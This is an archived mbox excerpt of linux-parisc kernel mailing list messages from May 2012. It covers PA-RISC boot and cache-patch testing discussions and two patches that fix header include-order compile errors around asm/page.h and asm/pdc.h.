Xref: news.gmane.org gmane.linux.ports.parisc:4347 gmane.linux.kernel:1294830
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4347>

On Wed, 9 May 2012 10:38:30 -0700
Grant Grundler <grantgrundler@gmail.com> wrote:

> On Sun, May 6, 2012 at 5:24 AM, Alan Cox <alan@lxorguk.ukuu.org.uk> w=
rote:
> >> What NO_IRQ problem do you mean? There is
> >> #define NO_IRQ =A0 =A0 =A0 =A0 =A0(-1)
> >> in arch/parisc/include/asm/irq.h.
> >
> > It should be zero ready for us to get rid of it. Aa far as I can te=
ll
> > pa-risc can just move to 0 without anything breaking. In fact some =
stuff
> > like serial port polling on 8250 ports will begin to work if it's d=
one.
>=20
> Alan,
> Didn't this patch of yours go in?
>     http://www.spinics.net/lists/linux-parisc/msg03894.html

Last I checked it hadn't - hence the request to test it when I saw
someone actually running parisc.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 1/5] PA-RISC: fix compile errors
Date: Thu, 10 May 2012 09:24:21 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <CAP6odjh99vZvH2+rf1_9syOrnjws=9FQL-rwXuqQy4qMqF4k=w@mail.gmail.com>
References: <Pine.LNX.4.64.1205091758310.1272@file.rdu.redhat.com>
	<1975991.XFDT7t2eTm@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: dough.gmane.org 1336667078 12880 80.91.229.3 (10 May 2012 16:24:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 16:24:38 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	torvalds@linux-foundation.org, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 18:24:36 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSWAN-00043x-SD
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 18:24:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751794Ab2EJQYf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 12:24:35 -0400
Original-Received: from mail-wg0-f44.google.com ([74.125.82.44]:57577 "EHLO
	mail-wg0-f44.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751543Ab2EJQYe (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 12:24:34 -0400
Original-Received: by wgbdr13 with SMTP id dr13so1598017wgb.1
        for <multiple recipients>; Thu, 10 May 2012 09:24:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=rgILhfyBMCnDV14nfCUuYq9eCl89k0Rm57c+R/0G01Q=;
        b=o01b8parlTn+rrY4LxRAiAKsHpxYgjn0Im03V2fe65ktxYgIlVmxhIoOBdVwmLMn4r
         u44s6GOFBh5bKyK56ubR6143hInUXT8Ft4P/TKYVtBDYfSsxJcSvbaGSGE03c8dnbgYj
         ez+RxjGbQdiCy5eXLg/GYKTwr89hht3kvPvn9mqoLsNgO6Reiwr50RCXKWp/sKePTRH1
         w/uJqY6cH/nnpMQYJBizBwV4s1//buocCKurg2CEwBU9gDV35Uy3fnc8JPR7CbXTU9kM
         o0TLE2JWGCqMcGxf+OFexaxUhi937tbkDPznXfKlNSV4wS4lnzFYuXXUOHvH8AdSaANm
         W2wA==
Original-Received: by 10.180.105.198 with SMTP id go6mr10553696wib.19.1336667061291;
 Thu, 10 May 2012 09:24:21 -0700 (PDT)
Original-Received: by 10.227.36.6 with HTTP; Thu, 10 May 2012 09:24:21 -0700 (PDT)
In-Reply-To: <1975991.XFDT7t2eTm@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4348 gmane.linux.kernel:1295001
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4348>

On Wed, May 9, 2012 at 11:44 PM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> Mikulas Patocka wrote:
>> From: Rolf Eike Beer <eike-kernel@sf-tec.de>
>
> Thanks Mikulas for picking this up, but you have lost the patch subjects. I'll
> resend the whole series tonight.
>
> Grant, may I transform your comment on #3 (that's #4/6) on the original series
> to an Acked-By or Reviewed-By?

Yes - thanks for doing this. :)

cheers,
grant

>
> Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Thu, 10 May 2012 12:32:04 -0400
Lines: 47
Approved: news@gmane.org
Message-ID: <4FABED84.2040401@bell.net>
References: <4FA9975C.5060708@bergerie> <4FAADE2A.9080803@bergerie> <BLU0-SMTP65CF901B170B044925E85897160@phx.gbl> <2075347.T446pQRFvO@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1336669547 1297 80.91.229.3 (10 May 2012 17:05:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 17:05:47 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>, linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 19:05:45 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSWo3-0003hz-To
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 19:05:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754625Ab2EJRFU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 13:05:20 -0400
Original-Received: from smtp3.primus.ca ([209.216.129.203]:55025 "EHLO
	mail-01.primus.ca" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1752436Ab2EJRFT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 13:05:19 -0400
X-Greylist: delayed 1956 seconds by postgrey-1.27 at vger.kernel.org; Thu, 10 May 2012 13:05:19 EDT
Original-Received: from 216-58-40-249.cpe.distributel.net ([216.58.40.249] helo=[192.168.0.181])
	by mail-01.primus.ca with esmtpa (Exim 4.72)
	(envelope-from <dave.anglin@bell.net>)
	id 1SSWID-0000uP-0b; Thu, 10 May 2012 12:32:41 -0400
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120428 Thunderbird/12.0.1
In-Reply-To: <2075347.T446pQRFvO@donald.sf-tec.de>
X-Authenticated: danglin-lux@magma.ca - 216-58-40-249.cpe.distributel.net ([192.168.0.181]) [216.58.40.249]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4349
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4349>

On 5/10/2012 2:41 AM, Rolf Eike Beer wrote:
> John David Anglin wrote:
>
>> I posted a number of kernel work in progress patches to the linux-parisc
>> list but nobody bothered to test them except for Vincent today.  All I
>> know
>> at this point is my rp3440 is much more stable and runs twice as fast as
>> it used to with my cache patch.  As such, it can keep up with unstable.
>> This took hundreds of kernel builds and considerable long term testing.
> I have your patch from a while back applied to my C8000 and I have not seen
> any crashes or other issues yet (since beginning of April). Your futex patches
> are on this machine for even longer. This of course means only that there is
> no obvious breakage, I did not run any special testcase for any of those stuff,
> but at least it doesn't randomly eats my machine.
>
> I think Guy Martin has the cache patch running on at least one of his
> machines.
>
> Related note: The #Gentoo-HPPA channel on Freenode has at least some activity
> every other day, often even daily. The last 3 critical breakages I had (the
> gcc bug breaking swap, the gcc bug breaking ext4 and the 3.4-rc compile
> breakage) were first discussed there before posting anywhere. Because of that
> the initial report e.g. to linux-parisc already had rather good data on what
> is happening.
>
Thanks, it's good to know that there has been some other testing.

Does anyone have a working 32-bit kernel using the tmpalias support?  It 
would be nice
to know if the problem is a 32-bit or PA 1.1 issue.

I asked where the crash occurred because PA 2.0 mnemonics are used in 
the tmpalias
code.  On the other hand, if the failure occurs on the first flush 
instruction, the issue is likely
in the TLB insert code in entry.S.

Dave

-- 
John David Anglin    dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Issue booting v2.6.39 .. v3.4-rc6 on hp712/100
Date: Thu, 10 May 2012 21:32:51 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <5387176.ckZp8f83KT@donald.sf-tec.de>
References: <4FA9975C.5060708@bergerie> <2075347.T446pQRFvO@donald.sf-tec.de> <4FABED84.2040401@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart9050600.EHEf2C0qfb"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336678391 9323 80.91.229.3 (10 May 2012 19:33:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 19:33:11 +0000 (UTC)
Cc: Vincent <vincent.stehle@laposte.net>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 21:33:10 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSZ6r-0006tF-Tj
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 21:33:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1761523Ab2EJTdJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 15:33:09 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:43000 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1760789Ab2EJTdI (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 15:33:08 -0400
Original-Received: (qmail 23111 invoked from network); 10 May 2012 19:33:04 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:34761 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <dave.anglin@bell.net>; Thu, 10 May 2012 21:33:04 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4FABED84.2040401@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4350
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4350>


--nextPart9050600.EHEf2C0qfb
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="ISO-8859-1"

John David Anglin wrote:
> On 5/10/2012 2:41 AM, Rolf Eike Beer wrote:
> > John David Anglin wrote:
> >> I posted a number of kernel work in progress patches to the linux-parisc
> >> list but nobody bothered to test them except for Vincent today.  All I
> >> know at this point is my rp3440 is much more stable and runs twice as
> >> fast as it used to with my cache patch.  As such, it can keep up with
> >> unstable. This took hundreds of kernel builds and considerable long term
> >> testing.
> > 
> > I have your patch from a while back applied to my C8000 and I have not
> > seen any crashes or other issues yet (since beginning of April).

> > I think Guy Martin has the cache patch running on at least one of his
> > machines.

> Thanks, it's good to know that there has been some other testing.
> 
> Does anyone have a working 32-bit kernel using the tmpalias support?  It
> would be nice to know if the problem is a 32-bit or PA 1.1 issue.
> 
> I asked where the crash occurred because PA 2.0 mnemonics are used in
> the tmpalias code.  On the other hand, if the failure occurs on the first
> flush instruction, the issue is likely in the TLB insert code in entry.S.

I have a C3600 running a 32 bit kernel and it is rock solid. It is currently 
running 3.3.5 and has before been running 3.2.4 without any problems (but both 
without your cache patch).

Eike
--nextPart9050600.EHEf2C0qfb
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.18 (GNU/Linux)

iEYEABECAAYFAk+sF+sACgkQXKSJPmm5/E46CACfV/PWC9DycMcJADXMqKuAwHqZ
388AoJjZRe3j1CXHMJ34gYWGSJ0m7bZ2
=Q5cO
-----END PGP SIGNATURE-----

--nextPart9050600.EHEf2C0qfb--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 4/5] parisc: add missing include of asm/page.h to asm/pgtable.h
Date: Thu, 10 May 2012 23:07:16 +0200
Lines: 37
Approved: news@gmane.org
Message-ID: <4289546.1CNkXRDMmz@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336684199 22239 80.91.229.3 (10 May 2012 21:09:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:09:59 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 23:09:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSacW-0006xD-9m
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 23:09:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758212Ab2EJVJz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 17:09:55 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:44391 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757542Ab2EJVJy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 17:09:54 -0400
Original-Received: (qmail 26320 invoked from network); 10 May 2012 21:09:52 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35778 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:52 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4351 gmane.linux.kernel:1295223
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4351>

Fixes these errors:

In file included from /home/buildbot/repos/linux/arch/parisc/include/asm/io.h:5:0,
                 from /home/buildbot/repos/linux/include/linux/io.h:22,
                 from /home/buildbot/repos/linux/include/linux/pci.h:54,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/setup.c:35:
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "PAGE_SHIFT" is not defined [-Wundef]
/home/buildbot/repos/linux/arch/parisc/include/asm/pgtable.h:92:6: warning: "BITS_PER_PTE_ENTRY" is not defined [-Wundef]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/pgtable.h |    2 ++
 1 file changed, 2 insertions(+)

diff --git a/arch/parisc/include/asm/pgtable.h b/arch/parisc/include/asm/pgtable.h
index 22dadeb..ee99f23 100644
--- a/arch/parisc/include/asm/pgtable.h
+++ b/arch/parisc/include/asm/pgtable.h
@@ -44,6 +44,8 @@ struct vm_area_struct;
 
 #endif /* !__ASSEMBLY__ */
 
+#include <asm/page.h>
+
 #define pte_ERROR(e) \
 	printk("%s:%d: bad pte %08lx.\n", __FILE__, __LINE__, pte_val(e))
 #define pmd_ERROR(e) \
-- 
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 5/5] parisc: move definition of PAGE0 to asm/page.h
Date: Thu, 10 May 2012 23:08:17 +0200
Lines: 157
Approved: news@gmane.org
Message-ID: <9994244.7dMrtT61Uk@donald.sf-tec.de>
References: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: dough.gmane.org 1336684199 22242 80.91.229.3 (10 May 2012 21:09:59 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:09:59 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 23:09:57 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1SSacV-0006xD-KN
	for glpp-linux-parisc@plane.gmane.org; Thu, 10 May 2012 23:09:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758137Ab2EJVJy convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 10 May 2012 17:09:54 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:38484 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757150Ab2EJVJx convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 10 May 2012 17:09:53 -0400
Original-Received: (qmail 26313 invoked from network); 10 May 2012 21:09:51 -0000
Original-Received: from dslb-178-003-066-033.pools.arcor-ip.net ([::ffff:178.3.66.33]:35777 HELO donald.sf-tec.de) (auth=eike-kernel@sf-tec.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Thu, 10 May 2012 23:09:51 +0200
User-Agent: KMail/4.8.3 (Linux/3.2.9-13-desktop; KDE/4.8.3; i686; ; )
In-Reply-To: <4430485.xEvkeJU8MB@donald.sf-tec.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4352 gmane.linux.kernel:1295224
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4352>

This was defined in asm/pdc.h which needs to include asm/page.h for
__PAGE_OFFSET. This leads to an include loop so that page.h eventually =
will
include pdc.h again. While this is no problem because of header guards,=
 it is
a problem because some symbols may be undefined. Such an error is this:

In file included from /home/buildbot/repos/linux/include/linux/bitops.h=
:35:0,
                 from /home/buildbot/repos/linux/include/asm-generic/ge=
torder.h:7,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/page.h:162,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/pdc.h:346,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/processor.h:16,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/spinlock.h:6,
                 from /home/buildbot/repos/linux/arch/parisc/include/as=
m/atomic.h:20,
                 from /home/buildbot/repos/linux/include/linux/atomic.h=
:4,
                 from /home/buildbot/repos/linux/include/linux/sysfs.h:=
20,
                 from /home/buildbot/repos/linux/include/linux/kobject.=
h:21,
                 from /home/buildbot/repos/linux/include/linux/device.h=
:17,
                 from /home/buildbot/repos/linux/include/linux/eisa.h:5=
,
                 from /home/buildbot/repos/linux/arch/parisc/kernel/pci=
=2Ec:11:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h: In functio=
n =E2=80=98set_bit=E2=80=99:
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:82:2: error=
: implicit declaration of function =E2=80=98_atomic_spin_lock_irqsave=E2=
=80=99 [-Werror=3Dimplicit-function-declaration]
/home/buildbot/repos/linux/arch/parisc/include/asm/bitops.h:84:2: error=
: implicit declaration of function =E2=80=98_atomic_spin_unlock_irqrest=
ore=E2=80=99 [-Werror=3Dimplicit-function-declaration]

Signed-off-by: Rolf Eike Beer <eike-kernel@sf-tec.de>
---
 arch/parisc/include/asm/page.h  |    6 ++++++
 arch/parisc/include/asm/pdc.h   |    7 -------
 arch/parisc/kernel/pdc_cons.c   |    1 +
 arch/parisc/kernel/time.c       |    1 +
 drivers/parisc/sba_iommu.c      |    1 +
 drivers/video/console/sticore.c |    2 ++
 6 files changed, 11 insertions(+), 7 deletions(-)

diff --git a/arch/parisc/include/asm/page.h b/arch/parisc/include/asm/p=
age.h
index a84cc1f..4e0e7db 100644
--- a/arch/parisc/include/asm/page.h
+++ b/arch/parisc/include/asm/page.h
@@ -160,5 +160,11 @@ extern int npmem_ranges;
=20
 #include <asm-generic/memory_model.h>
 #include <asm-generic/getorder.h>
+#include <asm/pdc.h>
+
+#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
+
+/* DEFINITION OF THE ZERO-PAGE (PAG0) */
+/* based on work by Jason Eckhardt (jason@equator.com) */
=20
 #endif /* _PARISC_PAGE_H */
diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pd=
c.h
index 4ca510b..7f0f2d2 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -343,8 +343,6 @@
=20
 #ifdef __KERNEL__
=20
-#include <asm/page.h> /* for __PAGE_OFFSET */
-
 extern int pdc_type;
=20
 /* Values for pdc_type */
@@ -677,11 +675,6 @@ static inline char * os_id_to_string(u16 os_id) {
=20
 #endif /* __KERNEL__ */
=20
-#define PAGE0   ((struct zeropage *)__PAGE_OFFSET)
-
-/* DEFINITION OF THE ZERO-PAGE (PAG0) */
-/* based on work by Jason Eckhardt (jason@equator.com) */
-
 /* flags of the device_path */
 #define	PF_AUTOBOOT	0x80
 #define	PF_AUTOSEARCH	0x40
diff --git a/arch/parisc/kernel/pdc_cons.c b/arch/parisc/kernel/pdc_con=
s.c
index 4f00459..9bbd2a5 100644
--- a/arch/parisc/kernel/pdc_cons.c
+++ b/arch/parisc/kernel/pdc_cons.c
@@ -50,6 +50,7 @@
 #include <linux/init.h>
 #include <linux/major.h>
 #include <linux/tty.h>
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for iodc_call() proto and friends */
=20
 static DEFINE_SPINLOCK(pdc_console_lock);
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 7c07743..70e105d 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -29,6 +29,7 @@
 #include <asm/uaccess.h>
 #include <asm/io.h>
 #include <asm/irq.h>
+#include <asm/page.h>
 #include <asm/param.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
diff --git a/drivers/parisc/sba_iommu.c b/drivers/parisc/sba_iommu.c
index 8644d53..42cfcd9 100644
--- a/drivers/parisc/sba_iommu.c
+++ b/drivers/parisc/sba_iommu.c
@@ -44,6 +44,7 @@
 #include <asm/ropes.h>
 #include <asm/mckinley.h>	/* for proc_mckinley_root */
 #include <asm/runway.h>		/* for proc_runway_root */
+#include <asm/page.h>		/* for PAGE0 */
 #include <asm/pdc.h>		/* for PDC_MODEL_* */
 #include <asm/pdcpat.h>		/* for is_pdc_pat() */
 #include <asm/parisc-device.h>
diff --git a/drivers/video/console/sticore.c b/drivers/video/console/st=
icore.c
index 6468a29..39571f9 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -22,7 +22,9 @@
 #include <linux/font.h>
=20
 #include <asm/hardware.h>
+#include <asm/page.h>
 #include <asm/parisc-device.h>
+#include <asm/pdc.h>
 #include <asm/cacheflush.h>
 #include <asm/grfioctl.h>
=20
--=20
1.7.9.2


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/5] PA-RISC: fix compile
Date: Thu, 10 May 2012 22:50:37 +0200
Lines: 52
Approved: news@gmane.org
Message-ID: <4430485.xEvkeJU8MB@donald.sf-tec.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart1852574.nSzBGjLzTC"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: dough.gmane.org 1336684230 22485 80.91.229.3 (10 May 2012 21:10:30 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Thu, 10 May 2012 21:10:30 +0000 (UTC)
Cc: linux-kernel <linux-kernel@vger.kernel.org>,
	torvalds@linux-foundation.org
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu May 10 23:10:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
